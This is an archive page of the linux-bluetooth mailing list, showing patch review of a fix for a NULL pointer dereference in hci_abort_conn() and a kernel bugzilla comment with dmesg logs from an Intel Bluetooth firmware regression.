diff --git a/net/bluetooth/mgmt.c b/net/bluetooth/mgmt.c
index d23ca1dd0893..dc55763f9e58 100644
--- a/net/bluetooth/mgmt.c
+++ b/net/bluetooth/mgmt.c
@@ -7658,6 +7658,8 @@ static void add_device_complete(struct hci_dev *hdev, void *data, int err)
 	if (!err) {
 		struct hci_conn_params *params;
 
+		hci_dev_lock(hdev);
+
 		params = hci_conn_params_lookup(hdev, &cp->addr.bdaddr,
 						le_addr_type(cp->addr.type));
 
@@ -7666,6 +7668,7 @@ static void add_device_complete(struct hci_dev *hdev, void *data, int err)
 		device_flags_changed(NULL, hdev, &cp->addr.bdaddr,
 				     cp->addr.type, hdev->conn_flags,
 				     params ? params->flags : 0);
+		hci_dev_unlock(hdev);
 	}
 
 	mgmt_cmd_complete(cmd->sk, hdev->id, MGMT_OP_ADD_DEVICE,

base-commit: f70f7f2512c6b9113dc78f6a25361166afd1412e
-- 
2.54.0


^ permalink raw reply related

* Re: [PATCH v5 1/2] Bluetooth: hci_conn: Fix null ptr deref in hci_abort_conn()
From: Siwei Zhang @ 2026-06-15 15:06 UTC (permalink / raw)
  To: Luiz Augusto von Dentz; +Cc: Pauli Virtanen, XIAO WU, linux-bluetooth
In-Reply-To: <CABBYNZKRTpmnQ44UWH_0jFwQY9OOP5LAHE2+1ZZn-Ckic4wGZQ@mail.gmail.com>

Hi Luiz,

On Mon, Jun 15, 2026, at 10:09 AM, Luiz Augusto von Dentz wrote:
> Hi Siwei,
>
> On Mon, Jun 15, 2026 at 9:12 AM Siwei Zhang <oss@fourdim.xyz> wrote:
>>
>> hci_abort_conn() read hci_skb_event(hdev->sent_cmd) when a connection
>> was pending, but hdev->sent_cmd can be NULL while req_status is still
>> HCI_REQ_PEND, leading to a NULL pointer dereference and a general
>> protection fault from the hci_rx_work() receive path.
>>
>> Instead of inspecting hdev->sent_cmd, track the in-flight create
>> connection command with a new per-connection HCI_CONN_CREATE flag and
>> route all cancellation through hci_cancel_connect_sync(). The create
>> command is in exactly one of two states: still queued, or in flight.
>> hci_cancel_connect_sync() holds cmd_sync_work_lock across the whole
>> decision: the worker takes this lock to dequeue every entry, so while it
>> is held a queued command cannot start running and an in-flight command
>> cannot complete and let the next command become pending. This keeps the
>> flag test and hci_cmd_sync_cancel() atomic with respect to the worker,
>> so a queued command is simply dequeued, and an in-flight command owned
>> by this connection is cancelled without the risk of cancelling an
>> unrelated command that became pending in the meantime. CIS uses the same
>> path via the existing HCI_CONN_CREATE_CIS flag.
>>
>> hci_acl_create_conn_sync() and hci_le_create_conn_sync() clear
>> HCI_CONN_CREATE after the create command completes, but the command
>> status handler can free conn via hci_conn_del() (for example when the
>> controller rejects the connection) while the worker is still blocked on
>> the connection complete event. Hold a reference on conn across the
>> create command so the flag can be cleared without a use-after-free.
>>
>> Fixes: a13f316e90fd ("Bluetooth: hci_conn: Consolidate code for aborting connections")
>> Cc: stable@vger.kernel.org
>> Suggested-by: XIAO WU <xiaowu.417@qq.com>
>> Assisted-by: Claude:claude-opus-4-8
>> Signed-off-by: Siwei Zhang <oss@fourdim.xyz>
>> ---
>>  include/net/bluetooth/hci_core.h |  1 +
>>  net/bluetooth/hci_conn.c         | 21 +------
>>  net/bluetooth/hci_sync.c         | 96 ++++++++++++++++++++++++++++----
>>  3 files changed, 88 insertions(+), 30 deletions(-)
>>
>> diff --git a/include/net/bluetooth/hci_core.h b/include/net/bluetooth/hci_core.h
>> index aa600fbf9a53..aa554c34f9ec 100644
>> --- a/include/net/bluetooth/hci_core.h
>> +++ b/include/net/bluetooth/hci_core.h
>> @@ -988,6 +988,7 @@ enum {
>>         HCI_CONN_AUTH_FAILURE,
>>         HCI_CONN_PER_ADV,
>>         HCI_CONN_BIG_CREATED,
>> +       HCI_CONN_CREATE,
>>         HCI_CONN_CREATE_CIS,
>>         HCI_CONN_CREATE_BIG_SYNC,
>>         HCI_CONN_BIG_SYNC,
>> diff --git a/net/bluetooth/hci_conn.c b/net/bluetooth/hci_conn.c
>> index 54eabaa46960..eba4a548bef5 100644
>> --- a/net/bluetooth/hci_conn.c
>> +++ b/net/bluetooth/hci_conn.c
>> @@ -3181,26 +3181,11 @@ int hci_abort_conn(struct hci_conn *conn, u8 reason)
>>
>>         conn->abort_reason = reason;
>>
>> -       /* If the connection is pending check the command opcode since that
>> -        * might be blocking on hci_cmd_sync_work while waiting its respective
>> -        * event so we need to hci_cmd_sync_cancel to cancel it.
>> -        *
>> -        * hci_connect_le serializes the connection attempts so only one
>> -        * connection can be in BT_CONNECT at time.
>> +       /* Cancel the connect attempt. A return of 0 means the create command
>> +        * was still queued and got dequeued, so there is nothing to disconnect.
>>          */
>> -       if (conn->state == BT_CONNECT && READ_ONCE(hdev->req_status) == HCI_REQ_PEND) {
>> -               switch (hci_skb_event(hdev->sent_cmd)) {
>> -               case HCI_EV_CONN_COMPLETE:
>> -               case HCI_EV_LE_CONN_COMPLETE:
>> -               case HCI_EV_LE_ENHANCED_CONN_COMPLETE:
>> -               case HCI_EVT_LE_CIS_ESTABLISHED:
>> -                       hci_cmd_sync_cancel(hdev, ECANCELED);
>> -                       break;
>> -               }
>> -       /* Cancel connect attempt if still queued/pending */
>> -       } else if (!hci_cancel_connect_sync(hdev, conn)) {
>> +       if (!hci_cancel_connect_sync(hdev, conn))
>>                 return 0;
>> -       }
>>
>>         /* Run immediately if on cmd_sync_work since this may be called
>>          * as a result to MGMT_OP_DISCONNECT/MGMT_OP_UNPAIR which does
>> diff --git a/net/bluetooth/hci_sync.c b/net/bluetooth/hci_sync.c
>> index df23245d6ccd..06b87e9cd999 100644
>> --- a/net/bluetooth/hci_sync.c
>> +++ b/net/bluetooth/hci_sync.c
>> @@ -6611,6 +6611,11 @@ static int hci_le_create_conn_sync(struct hci_dev *hdev, void *data)
>>
>>         bt_dev_dbg(hdev, "conn %p", conn);
>>
>> +       /* Hold a reference so conn stays valid for the HCI_CONN_CREATE
>> +        * clear_bit() at done.
>> +        */
>> +       hci_conn_get(conn);
>> +
>>         clear_bit(HCI_CONN_SCANNING, &conn->flags);
>>         conn->state = BT_CONNECT;
>>
>> @@ -6623,6 +6628,7 @@ static int hci_le_create_conn_sync(struct hci_dev *hdev, void *data)
>>                     hdev->le_scan_type == LE_SCAN_ACTIVE &&
>>                     !hci_dev_test_flag(hdev, HCI_LE_SIMULTANEOUS_ROLES)) {
>>                         hci_conn_del(conn);
>> +                       hci_conn_put(conn);
>>                         return -EBUSY;
>>                 }
>>
>> @@ -6668,6 +6674,12 @@ static int hci_le_create_conn_sync(struct hci_dev *hdev, void *data)
>>                                              &own_addr_type);
>>         if (err)
>>                 goto done;
>> +
>> +       /* Mark create connection in flight so hci_cancel_connect_sync() can
>> +        * cancel it while blocking on the connection complete event.
>> +        */
>> +       set_bit(HCI_CONN_CREATE, &conn->flags);
>> +
>>         /* Send command LE Extended Create Connection if supported */
>>         if (use_ext_conn(hdev)) {
>>                 err = hci_le_ext_create_conn_sync(hdev, conn, own_addr_type);
>> @@ -6703,11 +6715,14 @@ static int hci_le_create_conn_sync(struct hci_dev *hdev, void *data)
>>                                        conn->conn_timeout, NULL);
>>
>>  done:
>> +       clear_bit(HCI_CONN_CREATE, &conn->flags);
>> +
>>         if (err == -ETIMEDOUT)
>>                 hci_le_connect_cancel_sync(hdev, conn, 0x00);
>>
>>         /* Re-enable advertising after the connection attempt is finished. */
>>         hci_resume_advertising_sync(hdev);
>> +       hci_conn_put(conn);
>>         return err;
>>  }
>>
>> @@ -6982,10 +6997,25 @@ static int hci_acl_create_conn_sync(struct hci_dev *hdev, void *data)
>>         else
>>                 cp.role_switch = 0x00;
>>
>> -       return __hci_cmd_sync_status_sk(hdev, HCI_OP_CREATE_CONN,
>> -                                       sizeof(cp), &cp,
>> -                                       HCI_EV_CONN_COMPLETE,
>> -                                       conn->conn_timeout, NULL);
>> +       /* Hold a reference so conn stays valid for the HCI_CONN_CREATE
>> +        * clear_bit() below.
>> +        */
>> +       hci_conn_get(conn);
>> +
>> +       /* Mark create connection in flight so hci_cancel_connect_sync() can
>> +        * cancel it while blocking on the connection complete event.
>> +        */
>> +       set_bit(HCI_CONN_CREATE, &conn->flags);
>> +
>> +       err = __hci_cmd_sync_status_sk(hdev, HCI_OP_CREATE_CONN,
>> +                                      sizeof(cp), &cp,
>> +                                      HCI_EV_CONN_COMPLETE,
>> +                                      conn->conn_timeout, NULL);
>> +
>> +       clear_bit(HCI_CONN_CREATE, &conn->flags);
>> +       hci_conn_put(conn);
>> +
>> +       return err;
>>  }
>>
>>  int hci_connect_acl_sync(struct hci_dev *hdev, struct hci_conn *conn)
>> @@ -7039,20 +7069,62 @@ int hci_connect_le_sync(struct hci_dev *hdev, struct hci_conn *conn)
>>
>>  int hci_cancel_connect_sync(struct hci_dev *hdev, struct hci_conn *conn)
>>  {
>> -       if (conn->state != BT_OPEN)
>> -               return -EINVAL;
>> +       struct hci_cmd_sync_work_entry *entry;
>> +       hci_cmd_sync_work_func_t func = NULL;
>> +       hci_cmd_sync_work_destroy_t destroy = NULL;
>> +       int create_flag = -1;
>> +       int err = -EBUSY;
>>
>>         switch (conn->type) {
>>         case ACL_LINK:
>> -               return !hci_cmd_sync_dequeue_once(hdev,
>> -                                                 hci_acl_create_conn_sync,
>> -                                                 conn, NULL);
>> +               func = hci_acl_create_conn_sync;
>> +               create_flag = HCI_CONN_CREATE;
>> +               break;
>>         case LE_LINK:
>> -               return !hci_cmd_sync_dequeue_once(hdev, hci_le_create_conn_sync,
>> -                                                 conn, create_le_conn_complete);
>> +               func = hci_le_create_conn_sync;
>> +               destroy = create_le_conn_complete;
>> +               create_flag = HCI_CONN_CREATE;
>> +               break;
>> +       case CIS_LINK:
>> +               /* LE Create CIS is shared by the whole CIG and cannot be
>> +                * dequeued per-connection; only cancel it in-flight below.
>> +                */
>> +               create_flag = HCI_CONN_CREATE_CIS;
>
> Instead of doing everything in the same function, it probably makes
> more sense to add dedicated functions for each type, for example,
> `hci_acl_cancel_create_conn_sync`, etc.
>

int hci_cancel_connect_sync(struct hci_dev *hdev, struct hci_conn *conn)
{
	switch (conn->type) {
	case ACL_LINK:
		return hci_cancel_create_conn_sync(hdev, conn, HCI_CONN_CREATE,
						   hci_acl_create_conn_sync,
						   NULL);
	case LE_LINK:
		return hci_cancel_create_conn_sync(hdev, conn, HCI_CONN_CREATE,
						   hci_le_create_conn_sync,
						   create_le_conn_complete);
	case CIS_LINK:
		return hci_cancel_create_conn_sync(hdev, conn,
						   HCI_CONN_CREATE_CIS, NULL,
						   NULL);
	default:
		return -ENOENT;
	}
}

I would like to have something like this. 
hci_acl_cancel_create_conn_sync will have an unnecessary wrapper.
What do you think?

>> +               break;
>> +       default:
>> +               return -ENOENT;
>>         }
>>
>> -       return -ENOENT;
>> +       /* The create command is either still queued or in flight. Hold
>> +        * cmd_sync_work_lock across the test and the cancel: the worker takes
>> +        * this lock to dequeue every entry, so while it is held no other command
>> +        * can become pending, which keeps hci_cmd_sync_cancel() from racing with
>> +        * completion and cancelling an unrelated command.
>> +        */
>> +       mutex_lock(&hdev->cmd_sync_work_lock);
>> +
>> +       /* The flag is set while the worker blocks on the connection complete
>> +        * event, so if it is set this connection owns the pending request.
>> +        */
>> +       if (create_flag >= 0 && test_bit(create_flag, &conn->flags)) {
>> +               hci_cmd_sync_cancel(hdev, ECANCELED);
>> +               goto unlock;
>> +       }
>> +
>> +       /* Otherwise it may still be queued; dequeue it. A successful dequeue
>> +        * means it never started, so there is nothing to disconnect.
>> +        */
>> +       if (func) {
>> +               entry = _hci_cmd_sync_lookup_entry(hdev, func, conn, destroy);
>> +               if (entry) {
>> +                       _hci_cmd_sync_cancel_entry(hdev, entry, -ECANCELED);
>> +                       err = 0;
>> +               }
>> +       }
>> +
>> +unlock:
>> +       mutex_unlock(&hdev->cmd_sync_work_lock);
>> +       return err;
>>  }
>>
>>  int hci_le_conn_update_sync(struct hci_dev *hdev, struct hci_conn *conn,
>> --
>> 2.54.0
>>
>
>
> -- 
> Luiz Augusto von Dentz

Best,
Siwei

^ permalink raw reply

* [Bug 221637] Regression for Intel Corporation Device a876 (rev 10)
From: bugzilla-daemon @ 2026-06-15 14:49 UTC (permalink / raw)
  To: linux-bluetooth
In-Reply-To: <bug-221637-62941@https.bugzilla.kernel.org/>

https://bugzilla.kernel.org/show_bug.cgi?id=221637

--- Comment #9 from Bianca Fürstenau (furstenau+kernelbugWGvWw1PW1l@posteo.net) ---
I applied the patch and it mostly worked.

Quick note: I was unable to figure out how to non-manually get a patch file
from the googlesource site and this incurred several hours of delay while I did
something else before I had the idea of trying to find the patch on kernel.org:
https://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth-next.git/patch/?id=5917dd39db2bfc8b1b4c6ea8ed99adb4badef707

When I applied the patch to 7.0.11, the Bluetooth worked with the current
firmware and the dmesg logs looked the same as with the old firmware except for
timings and version identifiers. When I applied the patch to 7.0.12, the
Bluetooth still worked but there were a lot of gp1 mailbox interrupts and new
warnings in the dmesg logs. This seems unexpected to me, but if it seems
expected to Kiran et al., I do not have any further issue with this. If it
seems unexpected to you, too, it might warrant further investigation.

Am I seeing correctly that the patch is already in 7.1.0? If so, it seems
unnecessary to revert anything for me as my understanding of the release
strategy of NixOS for the configuration I am running is that my next kernel
will be 7.1.0 anyway. If I am wrong about that, the consequence is only that
applying updates takes me an hour instead of a few minutes at most if one of
the updates was to the kernel. Definitely quite annoying, but also not terribly
prohibitive, as the device stays usable during the update process. (Still,
nothing I would look forward to doing a dozen times until 7.2.0 releases or
something.)

Linux 7.0.11 with 5917dd39, Firmware 20260519 $ sudo dmesg | grep -i bluetooth
[   31.058834] Bluetooth: Core ver 2.22
[   31.058854] NET: Registered PF_BLUETOOTH protocol family
[   31.058855] Bluetooth: HCI device and connection manager initialized
[   31.058860] Bluetooth: HCI socket layer initialized
[   31.058862] Bluetooth: L2CAP socket layer initialized
[   31.058864] Bluetooth: SCO socket layer initialized
[   31.085847] Bluetooth: hci0: Device revision is 0
[   31.085852] Bluetooth: hci0: Secure boot is enabled
[   31.085854] Bluetooth: hci0: OTP lock is disabled
[   31.085855] Bluetooth: hci0: API lock is enabled
[   31.085855] Bluetooth: hci0: Debug lock is disabled
[   31.085856] Bluetooth: hci0: Minimum firmware build 1 week 10 2014
[   31.085858] Bluetooth: hci0: Bootloader timestamp 2023.33 buildtype 1 build
45995
[   31.086590] Bluetooth: hci0: Found device firmware:
intel/ibt-0190-0291-iml.sfi
[   31.086594] Bluetooth: hci0: Boot Address: 0x30098800
[   31.086595] Bluetooth: hci0: Firmware Version: 99-13.26
[   31.142382] Bluetooth: hci0: Waiting for firmware download to complete
[   31.142386] Bluetooth: hci0: Firmware loaded in 54485 usecs
[   31.144680] Bluetooth: hci0: Waiting for device to boot
[   31.144682] Bluetooth: hci0: Device booted in 2235 usecs
[   31.144683] Bluetooth: hci0: Waiting for device transition to d0
[   31.144683] Bluetooth: hci0: Device moved to D0 in 0 usecs
[   31.144815] Bluetooth: hci0: dsbr: enable: 0x01 value: 0x0b
[   31.148426] Bluetooth: hci0: Found device firmware:
intel/ibt-0190-0291-pci.sfi
[   31.148435] Bluetooth: hci0: Boot Address: 0x10000800
[   31.148436] Bluetooth: hci0: Firmware Version: 99-13.26
[   31.684955] Bluetooth: hci0: Waiting for firmware download to complete
[   31.684977] Bluetooth: hci0: Firmware loaded in 523972 usecs
[   31.721113] Bluetooth: hci0: Received gp1 mailbox interrupt
[   31.721318] Bluetooth: hci0: Waiting for device to boot
[   31.721770] Bluetooth: hci0: Device booted in 35918 usecs
[   31.721773] Bluetooth: hci0: Waiting for device transition to d0
[   31.721837] Bluetooth: hci0: Device moved to D0 in 61 usecs
[   31.722508] Bluetooth: hci0: Found Intel DDC parameters:
intel/ibt-0190-0291-pci.ddc
[   31.722682] Bluetooth: hci0: Applying Intel DDC parameters completed
[   31.723019] Bluetooth: hci0: Firmware timestamp 2026.13 buildtype 1 build
117603
[   31.723022] Bluetooth: hci0: Firmware SHA1: 0xde043160
[   31.723308] Bluetooth: hci0: Fseq status: Success (0x00)
[   31.723311] Bluetooth: hci0: Fseq executed: 00.00.04.202
[   31.723312] Bluetooth: hci0: Fseq BT Top: 00.00.04.202
[   33.048540] Bluetooth: BNEP (Ethernet Emulation) ver 1.3
[   33.048544] Bluetooth: BNEP socket layer initialized
[   33.049844] Bluetooth: MGMT ver 1.23
[   43.952601] Bluetooth: RFCOMM TTY layer initialized
[   43.952611] Bluetooth: RFCOMM socket layer initialized
[   43.952613] Bluetooth: RFCOMM ver 1.11

Linux 7.0.12 with 5917dd39, Firmware 20260519 $ sudo dmesg | grep -i bluetooth
[  235.299907] Bluetooth: Core ver 2.22
[  235.299924] NET: Registered PF_BLUETOOTH protocol family
[  235.299925] Bluetooth: HCI device and connection manager initialized
[  235.299929] Bluetooth: HCI socket layer initialized
[  235.299932] Bluetooth: L2CAP socket layer initialized
[  235.299935] Bluetooth: SCO socket layer initialized
[  235.340849] Bluetooth: hci0: Device revision is 0
[  235.340854] Bluetooth: hci0: Secure boot is enabled
[  235.340854] Bluetooth: hci0: OTP lock is disabled
[  235.340855] Bluetooth: hci0: API lock is enabled
[  235.340855] Bluetooth: hci0: Debug lock is disabled
[  235.340856] Bluetooth: hci0: Minimum firmware build 1 week 10 2014
[  235.340857] Bluetooth: hci0: Bootloader timestamp 2023.33 buildtype 1 build
45995
[  235.341842] Bluetooth: hci0: Found device firmware:
intel/ibt-0190-0291-iml.sfi
[  235.341845] Bluetooth: hci0: Boot Address: 0x30098800
[  235.341846] Bluetooth: hci0: Firmware Version: 99-13.26
[  235.403312] Bluetooth: hci0: Waiting for firmware download to complete
[  235.403315] Bluetooth: hci0: Firmware loaded in 60029 usecs
[  235.405554] Bluetooth: hci0: Waiting for device to boot
[  235.405579] Bluetooth: hci0: Device booted in 2206 usecs
[  235.405580] Bluetooth: hci0: Waiting for device transition to d0
[  235.405580] Bluetooth: hci0: Device moved to D0 in 0 usecs
[  235.405731] Bluetooth: hci0: dsbr: enable: 0x01 value: 0x0b
[  235.408475] Bluetooth: hci0: Found device firmware:
intel/ibt-0190-0291-pci.sfi
[  235.408482] Bluetooth: hci0: Boot Address: 0x10000800
[  235.408482] Bluetooth: hci0: Firmware Version: 99-13.26
[  235.653214] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.653367] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.653539] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.653673] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.654661] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.654798] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.654998] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.655161] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.656670] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.656790] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.676405] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.676593] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.680410] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.680540] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.680908] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.681047] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.684592] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.684693] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.684817] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.684924] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.685464] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.685583] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.685708] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.685831] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.689008] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.689155] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.690617] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.690721] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.694404] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.694523] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.694671] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.694785] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.695897] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.696005] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.696186] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.696299] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.699381] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.699483] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.701368] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.701469] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.702431] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.702535] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.703859] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.703953] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.704123] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.704230] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.704426] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.704528] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.704714] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.704803] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.705816] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.705899] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.706020] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.706147] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.706801] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.706905] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.710379] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.710481] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.710639] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.710747] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.716898] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.717012] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.718284] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.718378] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.718593] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.718679] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.719490] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.719575] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.719732] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.719816] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.721102] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.721200] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.721444] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.721541] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.723024] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.723163] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.724594] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.724685] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.725061] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.725141] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.725816] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.725918] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.878235] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.878324] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.878449] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.878530] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.885430] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.885514] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.886566] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.886633] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.886755] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.886847] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.914645] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.914746] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1003)
[  235.963268] Bluetooth: hci0: Waiting for firmware download to complete
[  235.963274] Bluetooth: hci0: Firmware loaded in 541794 usecs
[  235.999442] Bluetooth: hci0: Received gp1 mailbox interrupt
[  235.999526] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db100f)
[  235.999536] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db100f)
[  235.999659] Bluetooth: hci0: Waiting for device to boot
[  236.000092] Bluetooth: hci0: Device booted in 35942 usecs
[  236.000093] Bluetooth: hci0: Waiting for device transition to d0
[  236.000158] Bluetooth: hci0: Controller device warning (boot_stage:
0xa0db1007)
[  236.000162] Bluetooth: hci0: Device moved to D0 in 67 usecs
[  236.001511] Bluetooth: hci0: Found Intel DDC parameters:
intel/ibt-0190-0291-pci.ddc
[  236.001689] Bluetooth: hci0: Applying Intel DDC parameters completed
[  236.002010] Bluetooth: hci0: Firmware timestamp 2026.13 buildtype 1 build
117603
[  236.002012] Bluetooth: hci0: Firmware SHA1: 0xde043160
[  236.002292] Bluetooth: hci0: Fseq status: Success (0x00)
[  236.002293] Bluetooth: hci0: Fseq executed: 00.00.04.202
[  236.002294] Bluetooth: hci0: Fseq BT Top: 00.00.04.202
[  236.035455] Bluetooth: hci0: Controller device warning (boot_stage:
0xa09b1047)
[  237.596110] Bluetooth: BNEP (Ethernet Emulation) ver 1.3
[  237.596115] Bluetooth: BNEP socket layer initialized
[  237.598181] Bluetooth: MGMT ver 1.23
[  250.315840] Bluetooth: RFCOMM TTY layer initialized
[  250.315848] Bluetooth: RFCOMM socket layer initialized
[  250.315852] Bluetooth: RFCOMM ver 1.11

-- 
You may reply to this email to add a comment.

You are receiving this mail because:
You are the assignee for the bug.

^ permalink raw reply

* Re: [PATCH v5 1/2] Bluetooth: hci_conn: Fix null ptr deref in hci_abort_conn()
From: Luiz Augusto von Dentz @ 2026-06-15 14:09 UTC (permalink / raw)
  To: Siwei Zhang; +Cc: Pauli Virtanen, XIAO WU, linux-bluetooth
In-Reply-To: <20260615131131.1459372-1-oss@fourdim.xyz>

Hi Siwei,

On Mon, Jun 15, 2026 at 9:12 AM Siwei Zhang <oss@fourdim.xyz> wrote:
>
> hci_abort_conn() read hci_skb_event(hdev->sent_cmd) when a connection
> was pending, but hdev->sent_cmd can be NULL while req_status is still
> HCI_REQ_PEND, leading to a NULL pointer dereference and a general
> protection fault from the hci_rx_work() receive path.
>
> Instead of inspecting hdev->sent_cmd, track the in-flight create
> connection command with a new per-connection HCI_CONN_CREATE flag and
> route all cancellation through hci_cancel_connect_sync(). The create
> command is in exactly one of two states: still queued, or in flight.
> hci_cancel_connect_sync() holds cmd_sync_work_lock across the whole
> decision: the worker takes this lock to dequeue every entry, so while it
> is held a queued command cannot start running and an in-flight command
> cannot complete and let the next command become pending. This keeps the
> flag test and hci_cmd_sync_cancel() atomic with respect to the worker,
> so a queued command is simply dequeued, and an in-flight command owned
> by this connection is cancelled without the risk of cancelling an
> unrelated command that became pending in the meantime. CIS uses the same
> path via the existing HCI_CONN_CREATE_CIS flag.
>
> hci_acl_create_conn_sync() and hci_le_create_conn_sync() clear
> HCI_CONN_CREATE after the create command completes, but the command
> status handler can free conn via hci_conn_del() (for example when the
> controller rejects the connection) while the worker is still blocked on
> the connection complete event. Hold a reference on conn across the
> create command so the flag can be cleared without a use-after-free.
>
> Fixes: a13f316e90fd ("Bluetooth: hci_conn: Consolidate code for aborting connections")
> Cc: stable@vger.kernel.org
> Suggested-by: XIAO WU <xiaowu.417@qq.com>
> Assisted-by: Claude:claude-opus-4-8
> Signed-off-by: Siwei Zhang <oss@fourdim.xyz>
> ---
>  include/net/bluetooth/hci_core.h |  1 +
>  net/bluetooth/hci_conn.c         | 21 +------
>  net/bluetooth/hci_sync.c         | 96 ++++++++++++++++++++++++++++----
>  3 files changed, 88 insertions(+), 30 deletions(-)
>
> diff --git a/include/net/bluetooth/hci_core.h b/include/net/bluetooth/hci_core.h
> index aa600fbf9a53..aa554c34f9ec 100644
> --- a/include/net/bluetooth/hci_core.h
> +++ b/include/net/bluetooth/hci_core.h
> @@ -988,6 +988,7 @@ enum {
>         HCI_CONN_AUTH_FAILURE,
>         HCI_CONN_PER_ADV,
>         HCI_CONN_BIG_CREATED,
> +       HCI_CONN_CREATE,
>         HCI_CONN_CREATE_CIS,
>         HCI_CONN_CREATE_BIG_SYNC,
>         HCI_CONN_BIG_SYNC,
> diff --git a/net/bluetooth/hci_conn.c b/net/bluetooth/hci_conn.c
> index 54eabaa46960..eba4a548bef5 100644
